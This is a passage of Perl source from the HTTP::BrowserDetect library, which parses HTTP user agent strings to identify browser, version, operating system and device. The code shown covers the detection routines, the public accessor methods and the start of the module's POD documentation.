'unix'; $os_tests->{dec} = $os_tests->{unix} = 1; } elsif ( index( $ua, 'sinix' ) != -1 ) { $os = 'unix'; $os_tests->{sinix} = $os_tests->{unix} = 1; } elsif ( index( $ua, 'bsd' ) != -1 ) { $os = 'unix'; if ( $self->{user_agent} =~ m{(\w*bsd\w*)}i ) { $os_string = $1; } $os_tests->{bsd} = $os_tests->{unix} = 1; $os_tests->{freebsd} = 1 if index( $ua, 'freebsd' ) != -1; } elsif ( $tests->{x11} ) { # Some Unix we didn't identify $os = 'unix'; $os_tests->{unix} = 1; } elsif ( index( $ua, 'vax' ) != -1 || index( $ua, 'openvms' ) != -1 ) { $os = 'vms'; $os_tests->{vms} = 1; } elsif ( index( $ua, 'bb10' ) != -1 ) { $os = 'bb10'; $os_tests->{bb10} = 1; } elsif ( index( $ua, 'rim tablet os' ) != -1 ) { $os = 'rimtabletos'; $os_tests->{rimtabletos} = 1; } elsif ( index( $ua, 'playstation 3' ) != -1 ) { $os = 'ps3gameos'; $os_tests->{ps3gameos} = 1; } elsif ( index( $ua, 'playstation portable' ) != -1 ) { $os = 'pspgameos'; $os_tests->{pspgameos} = 1; } elsif ( index( $ua, 'windows' ) != -1 ) { # Windows again, the super generic version $os_tests->{windows} = 1; } elsif ( index( $ua, 'win32' ) != -1 ) { $os_tests->{win32} = $os_tests->{windows} = 1; } elsif ( $self->{user_agent} =~ m{(brew)|(\bbmp\b)}i ) { $os = 'brew'; if ($1) { $os_string = 'Brew'; } else { $os_string = 'Brew MP'; } $os_tests->{brew} = 1; } else { $os = undef; } # To deal with FirefoxOS we seem to have to load-on-demand devices # also, by calling ->mobile and ->tablet. We have to be careful; # if we ever created a loop back from _init_devices to _init_os # we'd run forever. if ( !$os && $browser_tests->{firefox} && index( $ua, 'fennec' ) == -1 && ( $self->mobile || $self->tablet ) ) { $os = 'firefoxos'; $os_tests->{firefoxos} = 1; } $self->{os} = $os; if ( $os and !$os_string ) { $os_string = $OS_NAMES{$os}; } $self->{os_string} = $os_string; } sub _init_os_version { my ($self) = @_; my $os = $self->os; my $os_string = $self->os_string; my $ua = lc $self->{user_agent}; my $os_version = undef; if ( !defined($os) ) { # Nothing is going to work if we have no OS. Skip everything. } elsif ( $os eq 'winphone' ) { if ( $ua =~ m{windows phone (?:os )?(\d+)(\.?\d*)([\.\d]*)} ) { $os_version = [ $1, $2, $3 ]; } } elsif ( $os eq 'macosx' ) { if ( $ua =~ m{os x (\d+)[\._](\d+)[\._]?(\d*)} ) { $os_version = [ $1, ".$2", length($3) ? ".$3" : q{} ]; } } elsif ( $os eq 'ios' ) { if ( $ua =~ m{ os (\d+)[\._ ](\d+)[\._ ]?(\d*)} ) { $os_version = [ $1, ".$2", length($3) ? ".$3" : q{} ]; } } elsif ( $os eq 'chromeos' ) { if ( $ua =~ m{ cros \S* (\d+)(\.?\d*)([\.\d]*)} ) { $os_version = [ $1, $2, $3 ]; } } elsif ( $os eq 'android' ) { if ( $ua =~ m{android (\d+)(\.?\d*)([\w\-\.]*)[\;\)]} ) { $os_version = [ $1, $2, $3 ]; } } elsif ( $os eq 'firefoxos' ) { if ( $ua =~ m{firefox/(\d+)(\.?\d*)([\.\d]*)} ) { $os_version = [ $1, $2, $3 ]; } } elsif ( $os eq 'brew' ) { if ( $ua =~ m{(brew|\bbmp) (\d+)(\.?\d*)([\.\d]*)} ) { $os_version = [ $2, $3, $4 ]; } } # Set the version. It might be set to undef, in which case we know # not to go through this next time. $self->{os_version} = $os_version; } ### Version determination, only run on demand sub _init_version { my ($self) = @_; my $ua = lc $self->{user_agent}; my $tests = $self->{tests}; my $browser_tests = $self->{browser_tests}; my $browser = $self->{browser}; $self->{version_tests} = {}; my $version_tests = $self->{version_tests}; my ( $major, $minor, $beta ); ### First figure out version numbers. First, we test if we're ### using a browser that needs some special method to determine ### the version. if ( defined($browser) && $browser eq 'opera' ) { # Opera has a 'compatible; ' section, but lies sometimes. It needs # special handling. # http://dev.opera.com/articles/view/opera-ua-string-changes/ # http://my.opera.com/community/openweb/idopera/ # Opera/9.80 (S60; SymbOS; Opera Mobi/320; U; sv) Presto/2.4.15 Version/10.00 # Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36 OPR/15.0.1147.100 if ( $ua =~ m{\AOpera.*\sVersion/(\d*)\.(\d*)\z}i ) { $major = $1; $minor = $2; } elsif ( $ua =~ m{\bOPR/(\d+)\.(\d+)}i ) { $major = $1; $minor = $2; } elsif ( $ua =~ m{Opera[ /](\d+).(\d+)}i ) { $major = $1; $minor = $2; } } elsif ( $ua =~ m{\b compatible; \s* [\w\-]* [/\s] ( [0-9]+ ) (?: .([0-9]+) (\S*) )? ;}x ) { # MSIE and some others use a 'compatible' format ( $major, $minor, $beta ) = ( $1, $2, $3 ); } elsif ( !$browser ) { # Nothing else is going to work if $browser isn't defined; skip the # specific approaches and go straight to the generic ones. } elsif ( $browser_tests->{edge} ) { ( $major, $minor, $beta ) = $ua =~ m{Edge/(\d+)(.\d+)(.\d+)?}; } elsif ( $browser_tests->{safari} ) { # Safari Version if ( 0 && $ua =~ m{ # Disabled for bug compatibility version/ ( \d+ ) # Major version number is everything before first dot \. # First dot ( \d+ )? # Minor version number follows dot }x ) { # Safari starting with version 3.0 provides its own public version ( $major, $minor ) = ( $1, $2, undef ); } elsif ( $ua =~ m{ safari/ ( \d+ (?: \.\d+ )* ) }x ) { if ( my ( $safari_build, $safari_minor ) = split /\./, $1 ) { $major = int( $safari_build / 100 ); $minor = int( $safari_build % 100 ); $beta = ".$safari_minor" if $safari_minor; } } elsif ( $ua =~ m{applewebkit\/([\d\.]{1,})}xi ) { if ( my ( $safari_build, $safari_minor ) = split /\./, $1 ) { $major = int( $safari_build / 100 ); $minor = int( $safari_build % 100 ); $beta = ".$safari_minor" if $safari_minor; } } } elsif ( $browser_tests->{ie} ) { # MSIE if ( $ua =~ m{\b msie \s ( [0-9\.]+ ) (?: [a-z]+ [a-z0-9]* )? ;}x ) { # Internet Explorer ( $major, $minor, $beta ) = split /\./, $1; } elsif ( $ua =~ m{\b rv: ( [0-9\.]+ ) \b}x ) { # MSIE masking as Gecko really well ;) ( $major, $minor, $beta ) = split /\./, $1; } } elsif ( $browser eq 'n3ds' ) { if ( $ua =~ m{Nintendo 3DS;.*\sVersion/(\d*)\.(\d*)}i ) { $major = $1; $minor = $2; } } elsif ( $browser eq 'browsex' ) { if ( $ua =~ m{BrowseX \((\d+)\.(\d+)([\d.]*)}i ) { $major = $1; $minor = $2; $beta = $3; } } elsif ( $ua =~ m{netscape6/(\d+)\.(\d+)([\d.]*)} ) { # Other cases get handled below, we just need this to skip the '6' $major = $1; $minor = $2; $beta = $3; } elsif ( $browser eq 'brave' ) { # Note: since 0.7.10, Brave has changed the branding # of GitHub's 'Electron' (http://electron.atom.io/) to 'Brave'. # This means the browser string has both 'brave/' (the browser) # and 'Brave/' (re-branded Electron) in it. # The generic section below looks at $self->{browser_string}, which is 'Brave' # (Electron) and not $self->{browser} which is 'brave'. # Caveat parser. if ( $ua =~ m{brave/(\d+)\.(\d+)([\d.]*)} ) { $major = $1; $minor = $2; $beta = $3; } } elsif ($browser eq 'chrome' && $ua =~ m{crios/(\d+)\.(\d+)([\d.]*)} ) { $major = $1; $minor = $2; $beta = $3; } elsif ($browser eq 'pubsub' && $ua =~ m{apple-pubsub/(\d+)\.?(\d+)?([\d.]*)} ) { $major = $1; $minor = $2; $beta = $3; } elsif ($browser eq 'obigo' && $self->{user_agent} =~ m{(obigo[\w\-]*|teleca)[\/ ]\w(\d+)(\w*)}i ) { $major = $2; $minor = q{}; $beta = $3; } elsif ($browser eq 'polaris' && $ua =~ m{polaris[ \/](\d+)\.?(\d+)?([\d\.]*)} ) { $major = $1; $minor = $2; $beta = $3; } elsif ($browser eq 'ucbrowser' && $ua =~ m{ucbrowser[\/ ]*(\d+)\.?(\d+)?([\d\.]*)} ) { $major = $1; $minor = $2; $beta = $3; } # If we didn't match a browser-specific test, we look for # '$browser/x.y.z' if ( !defined($major) and defined( $self->{browser_string} ) ) { my $version_index = index( $ua, lc "$self->{browser_string}/" ); if ( $version_index != -1 ) { my $version_str = substr( $ua, $version_index + length($browser) ); if ( $version_str =~ m{/(\d+)\.(\d+)([\w.]*)} ) { $major = $1; $minor = $2; $beta = $3; } } } # If that didn't work, we try 'Version/x.y.z' if ( !defined($major) ) { if ( $ua =~ m{version/(\d+)\.(\d+)([\w.]*)} ) { $major = $1; $minor = $2; $beta = $3; } } # If that didn't work, we start guessing. Just grab # anything after a word and a slash. if ( !defined($major) ) { ( $major, $minor, $beta ) = ( $ua =~ m{ \S+ # Greedily catch anything leading up to forward slash. \/ # Version starts with a slash [A-Za-z]* # Eat any letters before the major version ( [0-9]+ ) # Major version number is everything before the first dot \. # The first dot ([\d]* ) # Minor version number is every digit after the first dot # Throw away remaining numbers and dots ( [^\s]* ) # Beta version string is up to next space }x ); } # If that didn't work, try even more generic. if ( !defined($major) ) { if ( $ua =~ /[A-Za-z]+\/(\d+)\;/ ) { $major = $1; $minor = 0; } } # If that didn't work, give up. $major = 0 if !$major; $minor = 0 if !$minor; $beta = undef if ( defined($beta) && $beta eq q{} ); # Now set version tests if ( $browser_tests->{netscape} ) { # Netscape browsers $version_tests->{nav2} = 1 if $major == 2; $version_tests->{nav3} = 1 if $major == 3; $version_tests->{nav4} = 1 if $major == 4; $version_tests->{nav4up} = 1 if $major >= 4; $version_tests->{nav45} = 1 if $major == 4 && $minor == 5; $version_tests->{nav45up} = 1 if ( $major == 4 && ".$minor" >= .5 ) || $major >= 5; $version_tests->{navgold} = 1 if defined($beta) && ( index( $beta, 'gold' ) != -1 ); $version_tests->{nav6} = 1 if ( $major == 5 || $major == 6 ); # go figure $version_tests->{nav6up} = 1 if $major >= 5; if ( $browser eq 'seamonkey' ) { # Ugh, seamonkey versions started back at 1. $version_tests->{nav2} = 0; $version_tests->{nav4up} = 1; $version_tests->{nav45up} = 1; $version_tests->{nav6} = 1; $version_tests->{nav6up} = 1; } } if ( $browser_tests->{ie} ) { $version_tests->{ie3} = 1 if ( $major == 3 ); $version_tests->{ie4} = 1 if ( $major == 4 ); $version_tests->{ie4up} = 1 if ( $major >= 4 ); $version_tests->{ie5} = 1 if ( $major == 5 ); $version_tests->{ie5up} = 1 if ( $major >= 5 ); $version_tests->{ie55} = 1 if ( $major == 5 && $minor == 5 ); $version_tests->{ie55up} = 1 if ( ".$minor" >= .5 || $major >= 6 ); $version_tests->{ie6} = 1 if ( $major == 6 ); $version_tests->{ie7} = 1 if ( $major == 7 ); $version_tests->{ie8} = 1 if ( $major == 8 ); $version_tests->{ie9} = 1 if ( $major == 9 ); $version_tests->{ie10} = 1 if ( $major == 10 ); $version_tests->{ie11} = 1 if ( $major == 11 ); $version_tests->{ie_compat_mode} = ( $version_tests->{ie7} && $tests->{trident} && $self->{engine_version} + 0 >= 4 ); } if ( $browser_tests->{aol} ) { $version_tests->{aol3} = 1 if ( index( $ua, 'aol 3.0' ) != -1 || $version_tests->{ie3} ); $version_tests->{aol4} = 1 if ( index( $ua, 'aol 4.0' ) != -1 ) || $version_tests->{ie4}; $version_tests->{aol5} = 1 if index( $ua, 'aol 5.0' ) != -1; $version_tests->{aol6} = 1 if index( $ua, 'aol 6.0' ) != -1; $version_tests->{aoltv} = 1 if index( $ua, 'navio' ) != -1; } if ( $browser_tests->{opera} ) { $version_tests->{opera3} = 1 if index( $ua, 'opera 3' ) != -1 || index( $ua, 'opera/3' ) != -1; $version_tests->{opera4} = 1 if ( index( $ua, 'opera 4' ) != -1 ) || ( index( $ua, 'opera/4' ) != -1 && ( index( $ua, 'nintendo dsi' ) == -1 ) ); $version_tests->{opera5} = 1 if ( index( $ua, 'opera 5' ) != -1 ) || ( index( $ua, 'opera/5' ) != -1 ); $version_tests->{opera6} = 1 if ( index( $ua, 'opera 6' ) != -1 ) || ( index( $ua, 'opera/6' ) != -1 ); $version_tests->{opera7} = 1 if ( index( $ua, 'opera 7' ) != -1 ) || ( index( $ua, 'opera/7' ) != -1 ); } $minor = ".$minor"; $self->{major} = $major; $self->{minor} = $minor; $self->{beta} = $beta; } ### Device tests, only run on demand sub _init_device { my ($self) = @_; my $ua = lc $self->{user_agent}; my $browser_tests = $self->{browser_tests}; my $tests = $self->{tests}; my ( $device, $device_string ); my $device_tests = $self->{device_tests} = {}; if ( index( $ua, 'windows phone' ) != -1 ) { $device = 'winphone'; # Test is set in _init_os() } elsif (index( $ua, 'android' ) != -1 || index( $ua, 'silk-accelerated' ) != -1 ) { # Silk-accelerated indicates a 1st generation Kindle Fire, # which may not have other indications of being an Android # device. $device = 'android'; $device_tests->{$device} = 1; } elsif (index( $ua, 'blackberry' ) != -1 || index( $ua, 'bb10' ) != -1 || index( $ua, 'rim tablet os' ) != -1 ) { $device = 'blackberry'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'ipod' ) != -1 ) { $device = 'ipod'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'ipad' ) != -1 ) { $device = 'ipad'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'iphone' ) != -1 ) { $device = 'iphone'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'webos' ) != -1 ) { $device = 'webos'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'kindle' ) != -1 ) { $device = 'kindle'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'audrey' ) != -1 ) { $device = 'audrey'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'i-opener' ) != -1 ) { $device = 'iopener'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'avantgo' ) != -1 ) { $device = 'avantgo'; $device_tests->{$device} = 1; $device_tests->{palm} = 1; } elsif ( index( $ua, 'palmos' ) != -1 ) { $device = 'palm'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'playstation 3' ) != -1 ) { $device = 'ps3'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'playstation portable' ) != -1 ) { $device = 'psp'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'nintendo dsi' ) != -1 ) { $device = 'dsi'; $device_tests->{$device} = 1; } elsif ( index( $ua, 'nintendo 3ds' ) != -1 ) { $device = 'n3ds'; $device_tests->{$device} = 1; } elsif ( $browser_tests->{obigo} || $browser_tests->{ucbrowser} || index( $ua, 'up.browser' ) != -1 || ( index( $ua, 'nokia' ) != -1 && index( $ua, 'windows phone' ) == -1 ) || index( $ua, 'alcatel' ) != -1 || $ua =~ m{\bbrew\b} || $ua =~ m{\bbmp\b} || index( $ua, 'ericsson' ) != -1 || index( $ua, 'sie-' ) == 0 || index( $ua, 'wmlib' ) != -1 || index( $ua, ' wap' ) != -1 || index( $ua, 'wap ' ) != -1 || index( $ua, 'wap/' ) != -1 || index( $ua, '-wap' ) != -1 || index( $ua, 'wap-' ) != -1 || index( $ua, 'wap' ) == 0 || index( $ua, 'wapper' ) != -1 || index( $ua, 'zetor' ) != -1 ) { $device = 'wap'; $device_tests->{$device} = 1; } $device_tests->{tablet} = ( index( $ua, 'ipad' ) != -1 || ( $browser_tests->{ie} && index( $ua, 'windows phone' ) == -1 && index( $ua, 'arm' ) != -1 ) || ( index( $ua, 'android' ) != -1 && index( $ua, 'mobile' ) == -1 && index( $ua, 'safari' ) != -1 ) || ( $browser_tests->{firefox} && index( $ua, 'tablet' ) != -1 ) || index( $ua, 'kindle' ) != -1 || index( $ua, 'xoom' ) != -1 || index( $ua, 'flyer' ) != -1 || index( $ua, 'jetstream' ) != -1 || index( $ua, 'transformer' ) != -1 || index( $ua, 'novo7' ) != -1 || index( $ua, 'an10g2' ) != -1 || index( $ua, 'an7bg3' ) != -1 || index( $ua, 'an7fg3' ) != -1 || index( $ua, 'an8g3' ) != -1 || index( $ua, 'an8cg3' ) != -1 || index( $ua, 'an7g3' ) != -1 || index( $ua, 'an9g3' ) != -1 || index( $ua, 'an7dg3' ) != -1 || index( $ua, 'an7dg3st' ) != -1 || index( $ua, 'an7dg3childpad' ) != -1 || index( $ua, 'an10bg3' ) != -1 || index( $ua, 'an10bg3dt' ) != -1 || index( $ua, 'opera tablet' ) != -1 || index( $ua, 'rim tablet' ) != -1 || index( $ua, 'hp-tablet' ) != -1 ); if ( !$device_tests->{tablet} ) { $device_tests->{mobile} = ( ( $browser_tests->{firefox} && index( $ua, 'mobile' ) != -1 ) || ( $browser_tests->{ie} && index( $ua, 'windows phone' ) == -1 && index( $ua, 'arm' ) != -1 ) || index( $ua, 'windows phone' ) != -1 || index( $ua, 'up.browser' ) != -1 || index( $ua, 'nokia' ) != -1 || index( $ua, 'alcatel' ) != -1 || index( $ua, 'ericsson' ) != -1 || index( $ua, 'sie-' ) == 0 || index( $ua, 'wmlib' ) != -1 || index( $ua, ' wap' ) != -1 || index( $ua, 'wap ' ) != -1 || index( $ua, 'wap/' ) != -1 || index( $ua, '-wap' ) != -1 || index( $ua, 'wap-' ) != -1 || index( $ua, 'wap' ) == 0 || index( $ua, 'wapper' ) != -1 || index( $ua, 'blackberry' ) != -1 || index( $ua, 'mobile' ) != -1 || index( $ua, 'palm' ) != -1 || index( $ua, 'smartphone' ) != -1 || index( $ua, 'windows ce' ) != -1 || index( $ua, 'palmsource' ) != -1 || index( $ua, 'iphone' ) != -1 || index( $ua, 'ipod' ) != -1 || index( $ua, 'ipad' ) != -1 || ( index( $ua, 'opera mini' ) != -1 && index( $ua, 'tablet' ) == -1 ) || index( $ua, 'htc_' ) != -1 || index( $ua, 'symbian' ) != -1 || index( $ua, 'webos' ) != -1 || index( $ua, 'samsung' ) != -1 || index( $ua, 'samsung' ) != -1 || index( $ua, 'zetor' ) != -1 || index( $ua, 'android' ) != -1 || index( $ua, 'symbos' ) != -1 || index( $ua, 'opera mobi' ) != -1 || index( $ua, 'fennec' ) != -1 || $ua =~ m{\bbrew\b} || index( $ua, 'obigo' ) != -1 || index( $ua, 'teleca' ) != -1 || index( $ua, 'polaris' ) != -1 || index( $ua, 'opera tablet' ) != -1 || index( $ua, 'rim tablet' ) != -1 || ( index( $ua, 'bb10' ) != -1 && index( $ua, 'mobile' ) != -1 ) || $device_tests->{psp} || $device_tests->{dsi} || $device_tests->{'n3ds'} ); } if ( $browser_tests->{ucbrowser} && ( $self->{user_agent} =~ m{ucweb/2.0\s*\(([^\;\)]*\;){4}\s*([^\;\)]*?)\s*\)}i || $self->{user_agent} =~ m{ucweb/2.0\s*\(([^\;\)]*\;){3}\s*([^\;\)]*?)\s*\)}i ) ) { $device_string = $2; } elsif ( $ua =~ /^(\bmot-[^ \/]+)/ ) { $device_string = substr $self->{user_agent}, 0, length $1; $device_string =~ s/^MOT-/Motorola /i; } elsif ( ( $browser_tests->{obigo} || index( $ua, 'brew' ) != -1 ) && $self->{user_agent} =~ m{\d+x\d+ ([\d\w\- ]+?)( \S+\/\S+)*$}i ) { $device_string = $1; } elsif ( $ua =~ /windows phone os [^\)]+ iemobile\/[^;]+; ([^;]+; [^;\)]+)/g ) { # windows phone 7.x $device_string = substr $self->{user_agent}, pos($ua) - length $1, length $1; $device_string =~ s/; / /; } elsif ( $ua =~ /windows phone [^\)]+ iemobile\/[^;]+; arm; touch; ([^;]+; [^;\)]+)/g ) { # windows phone 8.0 $device_string = substr $self->{user_agent}, pos($ua) - length $1, length $1; $device_string =~ s/; / /; } elsif ( $ua =~ /windows phone 8[^\)]+ iemobile\/[^;]+; ([^;]+; [^;\)]+)/g ) { # windows phone 8.1 $device_string = substr $self->{user_agent}, pos($ua) - length $1, length $1; $device_string =~ s/; / /; } elsif ( $ua =~ /bb10; ([^;\)]+)/g ) { $device_string = 'BlackBerry ' . substr $self->{user_agent}, pos($ua) - length $1, length $1; $device_string =~ s/Kbd/Q10/; } elsif ( $ua =~ /blackberry ([\w.]+)/ ) { $device_string = "BlackBerry $1"; } elsif ( $ua =~ /blackberry(\d+)\// ) { $device_string = "BlackBerry $1"; } elsif ( $ua =~ /silk-accelerated/ ) { # Only first generation Kindle Fires have that string $device_string = 'Kindle Fire'; $device_tests->{kindlefire} = 1; } elsif ( $self->{user_agent} =~ /android .*\; ([^;]*) build/i ) { my $model = $1; if ( $model =~ m{^KF} || $model =~ m{kindle fire}i ) { # We might hit this even if tablet() is false, if we have # a Kindle Fire masquerading as a mobile device. $device_string = 'Kindle Fire'; $device_tests->{kindlefire} = 1; } elsif ( $device_tests->{tablet} ) { $device_string = "Android tablet ($model)"; } else { $device_string = "Android ($model)"; } } elsif ( $self->{user_agent} =~ /\b((alcatel|huawei|lg|nokia|samsung|sonyericsson)[\w\-]*)\//i ) { $device_string = $1; } elsif ($device) { $device_string = $DEVICE_NAMES{$device}; } else { $device_string = undef; } if ($device) { $self->{device} = $device; } else { $self->{device} = undef; # Means we cache the fact that we found nothing } if ($device_string) { $self->{device_string} = $device_string; } } ### Now a big block of public accessors for tests and information sub browser { my ($self) = @_; return undef unless defined $self->{user_agent}; return $self->{browser}; } sub browser_string { my ($self) = @_; return undef unless defined $self->{user_agent}; return $self->{browser_string}; } sub robot { my $self = shift; $self->_init_robots unless exists( $self->{robot_string} ); return $self->{robot_tests}->{robot}; } sub robot_string { my $self = shift; $self->_init_robots unless exists( $self->{robot_string} ); return $self->{robot_string}; } sub robot_name { my $self = shift; return $self->robot_string; } sub robot_id { my $self = shift; return $self->{robot_tests}->{robot_id} ? $self->{robot_tests}->{robot_id} : $self->robot ? $ROBOT_IDS{ $self->robot } : undef; } sub _robot_version { my ($self) = @_; $self->_init_robots unless exists( $self->{robot_string} ); if ( $self->{robot_version} ) { return @{ $self->{robot_version} }; } else { return ( undef, undef, undef ); } } sub robot_version { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_robot_version; if ( defined($major) ) { if ( defined($minor) ) { return "$major$minor"; } else { return $major; } } else { return undef; } } sub robot_major { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_robot_version; return $major; } sub robot_minor { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_robot_version; return $minor; } sub robot_beta { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_robot_version; return $beta; } sub os { my ($self) = @_; return undef unless defined $self->{user_agent}; $self->_init_os unless $self->{os_tests}; return $self->{os}; } sub os_string { my ($self) = @_; return undef unless defined $self->{user_agent}; $self->_init_os unless $self->{os_tests}; return $self->{os_string}; } sub _os_version { my ($self) = @_; $self->_init_os_version if !exists( $self->{os_version} ); if ( $self->{os_version} ) { return @{ $self->{os_version} }; } else { return ( undef, undef, undef ); } } sub os_version { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_os_version; if ( defined($major) ) { return "$major$minor"; } else { return undef; } } sub os_major { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_os_version; return $major; } sub os_minor { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_os_version; return $minor; } sub os_beta { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_os_version; return $beta; } sub _realplayer_version { my ($self) = @_; $self->_init_version unless $self->{version_tests}; return $self->{realplayer_version} || 0; } sub realplayer_browser { my ($self) = @_; return defined( $self->{browser} ) && $self->{browser} eq 'realplayer'; } sub gecko_version { my ($self) = @_; if ( $self->gecko ) { return $self->{engine_version}; } else { return undef; } } sub version { my ($self) = @_; $self->_init_version() unless $self->{version_tests}; my $version = "$self->{major}$self->{minor}"; return $version; } sub major { my ($self) = @_; $self->_init_version() unless $self->{version_tests}; my ($version) = $self->{major}; return $version; } sub minor { my ($self) = @_; $self->_init_version() unless $self->{version_tests}; my ($version) = $self->{minor}; return $version; } sub public_version { my ($self) = @_; my ( $major, $minor ) = $self->_public; return "$major$minor"; } sub public_major { my ($self) = @_; my ( $major, $minor ) = $self->_public; return $major; } sub public_minor { my ($self) = @_; my ( $major, $minor ) = $self->_public; return $minor; } sub public_beta { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_public; return $beta; } sub browser_version { my ($self) = @_; my ( $major, $minor ) = $self->_public; return "$major$minor"; } sub browser_major { my ($self) = @_; my ( $major, $minor ) = $self->_public; return $major; } sub browser_minor { my ($self) = @_; my ( $major, $minor ) = $self->_public; return $minor; } sub browser_beta { my ($self) = @_; my ( $major, $minor, $beta ) = $self->_public; return $beta; } sub _public { my ($self) = @_; # Return Public version of Safari. See RT #48727. if ( $self->safari ) { my $ua = lc $self->{user_agent}; # Safari starting with version 3.0 provides its own public version if ( $ua =~ m{ version/ ( \d+ ) # Major version number is everything before first dot ( \. \d+ )? # Minor version number is first dot and following digits }x ) { return ( $1, $2, undef ); } # Safari before version 3.0 had only build numbers; use a lookup table # provided by Apple to convert to version numbers if ( $ua =~ m{ safari/ ( \d+ (?: \.\d+ )* ) }x ) { my $build = $1; my $version = $safari_build_to_version{$build}; unless ($version) { # if exact build -> version mapping doesn't exist, find next # lower build for my $maybe_build ( sort { $self->_cmp_versions( $b, $a ) } keys %safari_build_to_version ) { $version = $safari_build_to_version{$maybe_build}, last if $self->_cmp_versions( $build, $maybe_build ) >= 0; } # Special case for specific worm that uses a malformed user agent return ( '1', '.2', undef ) if $ua =~ m{safari/12x}; } my ( $major, $minor ) = split /\./, $version; my $beta; $minor =~ s/(\D.*)// and $beta = $1; $minor = ( '.' . $minor ); return ( $major, $minor, ( $beta ? 1 : undef ) ); } } $self->_init_version() unless $self->{version_tests}; return ( $self->{major}, $self->{minor}, $self->{beta} ); } sub _cmp_versions { my ( $self, $a, $b ) = @_; my @a = split /\./, $a; my @b = split /\./, $b; while (@b) { return -1 if @a == 0 || $a[0] < $b[0]; return 1 if @b == 0 || $b[0] < $a[0]; shift @a; shift @b; } return @a <=> @b; } sub engine { my ($self) = @_; # *shrug* if ( my $engine_string = $self->engine_string ) { if ( $engine_string eq 'MSIE' ) { return 'ie'; } else { return lc $engine_string; } } else { return undef; } } sub engine_string { my ($self) = @_; if ( $self->gecko ) { return 'Gecko'; } if ( $self->trident ) { return 'Trident'; } if ( $self->ie ) { return 'MSIE'; } if ( $self->edge ) { return 'EdgeHTML'; } if ( $self->webkit ) { return 'WebKit'; } if ( $self->presto ) { return 'Presto'; } if ( $self->netfront ) { return 'NetFront'; } if ( $self->khtml ) { return 'KHTML'; } return undef; } sub engine_version { my ($self) = @_; if ( $self->{engine_version} ) { if ( $self->{engine_version} =~ m{^(\d+(\.\d+)?)} ) { return $1; } } return $self->{engine_version}; } sub engine_major { my ($self) = @_; if ( $self->{engine_version} ) { if ( $self->{engine_version} =~ m{^(\d+)} ) { return $1; } } return undef; } sub engine_minor { my ($self) = @_; if ( $self->{engine_version} ) { if ( $self->{engine_version} =~ m{^\d+(\.\d+)} ) { return $1; } } return undef; } sub engine_beta { my ($self) = @_; if ( $self->{engine_version} ) { if ( $self->{engine_version} =~ m{^\d+\.\d+([\.\d\+]*)} ) { return $1; } } return undef; } sub beta { my ($self) = @_; $self->_init_version unless $self->{version_tests}; my ($version) = $self->{beta}; return $version; } sub language { my ($self) = @_; my $parsed = $self->_language_country(); return $parsed->{'language'}; } sub country { my ($self) = @_; my $parsed = $self->_language_country(); return $parsed->{'country'}; } sub device { my ($self) = @_; $self->_init_device if !exists( $self->{device} ); return $self->{device}; } sub device_string { my ($self) = @_; $self->_init_device if !exists( $self->{device_string} ); return $self->{device_string}; } sub device_name { my ($self) = @_; return $self->device_string; } sub _language_country { my ($self) = @_; if ( $self->safari ) { if ( $self->major == 1 && $self->{user_agent} =~ m/\s ( [a-z]{2} ) \)/xms ) { return { language => uc $1 }; } if ( $self->{user_agent} =~ m/\s ([a-z]{2})-([A-Za-z]{2})/xms ) { return { language => uc $1, country => uc $2 }; } } if ( $self->aol && $self->{user_agent} =~ m/;([A-Z]{2})_([A-Z]{2})\)/ ) { return { language => $1, country => $2 }; } if ( $self->{user_agent} =~ m/\b([a-z]{2})-([A-Za-z]{2})\b/xms ) { return { language => uc $1, country => uc $2 }; } if ( $self->{user_agent} =~ m/\[([a-z]{2})\]/xms ) { return { language => uc $1 }; } if ( $self->{user_agent} =~ m/\(([^)]+)\)/xms ) { my @parts = split( /;/, $1 ); foreach my $part (@parts) { if ( $part =~ /^\s*([a-z]{2})\s*$/ ) { return { language => uc $1 }; } } } return { language => undef, country => undef }; } sub browser_properties { my ($self) = @_; my @browser_properties; my ( $test, $value ); while ( ( $test, $value ) = each %{ $self->{tests} } ) { push @browser_properties, $test if $value; } while ( ( $test, $value ) = each %{ $self->{browser_tests} } ) { push @browser_properties, $test if $value; } $self->_init_device unless $self->{device_tests}; $self->_init_os unless $self->{os_tests}; $self->_init_robots unless $self->{robot_tests}; $self->_init_version unless $self->{version_tests}; while ( ( $test, $value ) = each %{ $self->{device_tests} } ) { push @browser_properties, $test if $value; } while ( ( $test, $value ) = each %{ $self->{os_tests} } ) { push @browser_properties, $test if $value; } while ( ( $test, $value ) = each %{ $self->{robot_tests} } ) { push @browser_properties, $test if $value; } while ( ( $test, $value ) = each %{ $self->{version_tests} } ) { push @browser_properties, $test if $value; } # devices are a property too but it's not stored in %tests # so I explicitly test for it and add it push @browser_properties, 'device' if ( $self->device() ); return sort @browser_properties; } sub lib { my $self = shift; $self->_init_robots() unless $self->{robot_tests}; return $self->{robot_tests}->{lib}; } sub all_robot_ids { my $self = shift; return keys %ROBOT_NAMES; } # These method are only used by the test suite. sub _all_tests { return @ALL_TESTS; } sub _robot_names { return %ROBOT_NAMES; } sub _robot_tests { return @ROBOT_TESTS; } sub _robot_ids { return %ROBOT_IDS; } 1; # ABSTRACT: Determine Web browser, version, and platform from an HTTP user agent string __END__ =pod =encoding UTF-8 =head1 NAME HTTP::BrowserDetect - Determine Web browser, version, and platform from an HTTP user agent string =head1 VERSION version 3.16 =head1 SYNOPSIS use HTTP::BrowserDetect; my $user_agent_string = 